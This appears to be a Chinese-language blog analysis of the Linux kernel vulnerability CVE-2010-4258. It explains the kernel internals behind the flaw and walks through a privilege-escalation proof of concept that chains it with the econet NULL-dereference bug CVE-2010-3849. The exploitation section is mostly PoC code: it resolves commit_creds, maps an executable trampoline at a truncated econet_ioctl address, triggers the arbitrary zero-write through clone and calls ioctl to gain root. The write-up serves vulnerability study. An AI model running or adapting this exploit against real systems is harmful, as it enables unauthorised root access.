一. 漏洞简介
CVE-2010-4258这个漏洞很有意思,主要思路是如果通过clone函数去创建进程,并且带有CLONE_CHILD_CLEARTID标志,那么进程在退出的时候,可以造成内核任意地址写0的bug。PoC代码利用了多个漏洞来达到权限提升的目的。
二. 前置知识 (进程创建、退出)
1.当fork或者clone一个进程在的时候, copy_process执行如下操作:
- static struct task_struct *copy_process(unsigned long clone_flags,
- unsigned long stack_start,
- struct pt_regs *regs,
- unsigned long stack_size,
- int __user *child_tidptr,
- struct pid *pid,
- int trace)
- {
- p->set_child_tid = (clone_flags & CLONE_CHILD_SETTID) ? child_tidptr : NULL;
- /*
- * Clear TID on mm_release()
- */
- p->clear_child_tid = (clone_flags & CLONE_CHILD_CLEARTID) ? child_tidptr: NULL;
- }
如果clone的flag带有CLONE_CHILD_CLEARTID标志,那么clear_child_tid指针中就会保存应用层传递进来的child_tidptr的地址。
2.应用层调用clone函数,并传递CLONE_CHILD_CLEARTID标志,则child_tidptr指针就会被赋值给子进程的clear_child_tid
- clone((int (*)(void *))trigger,
- (void *)((unsigned long)newstack + 65536),
- CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
- &fildes, NULL, NULL, child_tidptr);
3.进程在退出的时候调用do_exit清理资源,调用路径如下:do_exit->exit_mm->mm_release
- /*
- * If we're exiting normally, clear a user-space tid field if
- * requested. We leave this alone when dying by signal, to leave
- * the value intact in a core dump, and to save the unnecessary
- * trouble, say, a killed vfork parent shouldn't touch this mm.
- * Userland only wants this done for a sys_exit.
- */
- if (tsk->clear_child_tid) {
- if (!(tsk->flags & PF_SIGNALED) &&
- atomic_read(&mm->mm_users) > 1) {
- /*
- * We don't check the error code - if userspace has
- * not set up a proper pointer then tough luck.
- */
- put_user(0, tsk->clear_child_tid);
- sys_futex(tsk->clear_child_tid, FUTEX_WAKE,
- 1, NULL, NULL, 0);
- }
- tsk->clear_child_tid = NULL;
- }
上述代码中,如果tsk->clear_child_tid不为空,那么其会调用put_user(0, tsk->clear_child_tid);
4.put_user其实是一个宏,具体是__put_user_check函数,它会将tsk->clear_child_tid的值置为0
- #define __put_user_check(x,ptr,size) \
- ({ \
- long __pu_err = -EFAULT; \
- __typeof__(*(ptr)) __user *__pu_addr = (ptr); \
- __typeof__(*(ptr)) __pu_val = x; \
- if (likely(access_ok(VERIFY_WRITE, __pu_addr, size))) \
- __put_user_size(__pu_val, __pu_addr, (size), \
- __pu_err); \
- __pu_err; \
- })
__put_user_check函数会调用access_ok去检查传进来的参数是否合法
- #define access_ok(type,addr,size) _access_ok((unsigned long)(addr),(size))
- int _access_ok(unsigned long addr, unsigned long size)
- {
- if (!size)
- return 1;
- if (!addr || addr > (0xffffffffUL - (size - 1)))
- goto _bad_access;
- if (segment_eq(get_fs(), KERNEL_DS))
- return 1;
- if (memory_start <= addr && (addr + size - 1) < memory_end)
- return 1;
- _bad_access:
- pr_debug("Bad access attempt: pid[%d] addr[%08lx] size[0x%lx]\n",
- current->pid, addr, size);
- return 0;
- }
access_ok也是一个宏,具体函数为_access_ok,其主要对外部传进来的addr和size参数做合法性检查,其中关键调用语句如下
if (segment_eq(get_fs(), KERNEL_DS))
return 1;
# define get_fs() (current_thread_info()->addr_limit)
如果get_fs() = KERNEL_DS,那么_access_ok检查始终返回1.
三. 前置知识(无效地址访问异常)
每当我们访问一个无效地址的时候,系统便会执行do_page_fault去生成异常日志,结束异常进程等。
- int do_page_fault(struct pt_regs *regs, unsigned long address,
- unsigned int write_access, unsigned int trapno)
- {
- // ......
- die("Oops", regs, (write_access << 15) | trapno, address);
- do_exit(SIGKILL);
- }
而往往一些内核bug产生的时候就满足get_fs() = KERNEL_DS这个条件,这个很关键。
接下来看看CVE-2010-3849这个漏洞,它主要是一个0地址访问异常漏洞,msg->msg_name可以由用户空间控制,因此可以是个NULL值。接下来的saddr->cookie;这句调用就会造成0地址访问异常。
- static int econet_sendmsg(struct kiocb *iocb, struct socket *sock,
- struct msghdr *msg, size_t len)
- {
- struct sock *sk = sock->sk;
- struct sockaddr_ec *saddr=(struct sockaddr_ec *)msg->msg_name;
- eb->cookie = saddr->cookie;
- }
四. 漏洞利用
1.获取需要用到的函数地址
- /* Resolve addresses of relevant symbols */
- printf("[*] Resolving kernel addresses...\n");
- econet_ioctl = get_kernel_sym("econet_ioctl");
- econet_ops = get_kernel_sym("econet_ops");
- commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
- prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
2.申请一块新进程的栈空间
- if(!(newstack = malloc(65536))) {
- printf("[*] Failed to allocate memory.\n");
- return -1;
- }
3.处理好需要映射的地址,比较关键
- // econet_ops中保存了各个econet函数的地址指针,
- // 10 * sizeof(void *)到达econet_ioctl的下一个函数地址
- // 再-1,那么清零的时候是清掉了econet_ioctl下个函数地址的高24字节和econet_ioctl函数的高8字节
- target = econet_ops + 10 * sizeof(void *) - OFFSET;
- // 清掉econet_ioctl函数的高8字节
- landing = econet_ioctl << SHIFT >> SHIFT;
- // landing按页对齐,map了2个页的内存
- payload = mmap((void *)(landing & ~0xfff), 2 * 4096,
- PROT_READ | PROT_WRITE | PROT_EXEC,
- MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
- if ((long)payload == -1) {
- rintf("[*] Failed to mmap() at target address.\n");
- return -1;
- }
- // 将提权代码拷贝到landing
- memcpy((void *)landing, &trampoline, 1024);
ps.这里要说明一下,这里为什么要把地址映射到(econet_ioctl&0x00FFFFFF)地址范围内,而不是直接将econet_ops指针数组中的econet_ioctl函数地址清零呢。那是因为新版本的linux不允许用户直接调用mmap函数映射0地址了,所以采用了一个很巧妙的小技巧。
可以调用查看下系统最低映射的地址,我这里是65536
4.clone进程
- // trigger用来触发CVE-2010-3849漏洞,是一个0地址访问异常
- int trigger(int * fildes)
- {
- int ret;
- struct ifreq ifr;
- memset(&ifr, 0, sizeof(ifr));
- strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);
- ret = ioctl(fildes[2], SIOCSIFADDR, &ifr);
- if(ret < 0) {
- printf("[*] Failed to set Econet address.\n");
- return -1;
- }
- splice(fildes[3], NULL, fildes[1], NULL, 128, 0);
- splice(fildes[0], NULL, fildes[2], NULL, 128, 0);
- /* Shouldn't get here... */
- exit(0);
- }
- // clone进程,子进程调用trigger触发0地址访问的漏洞,进而将target指向的地址清0
- // 即清掉了econet_ioctl函数地址的高8字节
- clone((int (*)(void *))trigger,
- (void *)((unsigned long)newstack + 65536),
- CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
- &fildes, NULL, NULL, target);
5.最后ioctl函数触发底层的econet_ioctl函数执行,而econet_ioctl函数的高8字节已经被我们清零了,所以会调用到我们的map地址中,进而触发提权代码获得root权限
- sleep(1);
- printf("[*] Triggering payload...\n");
- ioctl(fildes[2], 0, NULL);
参考文章:
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-4258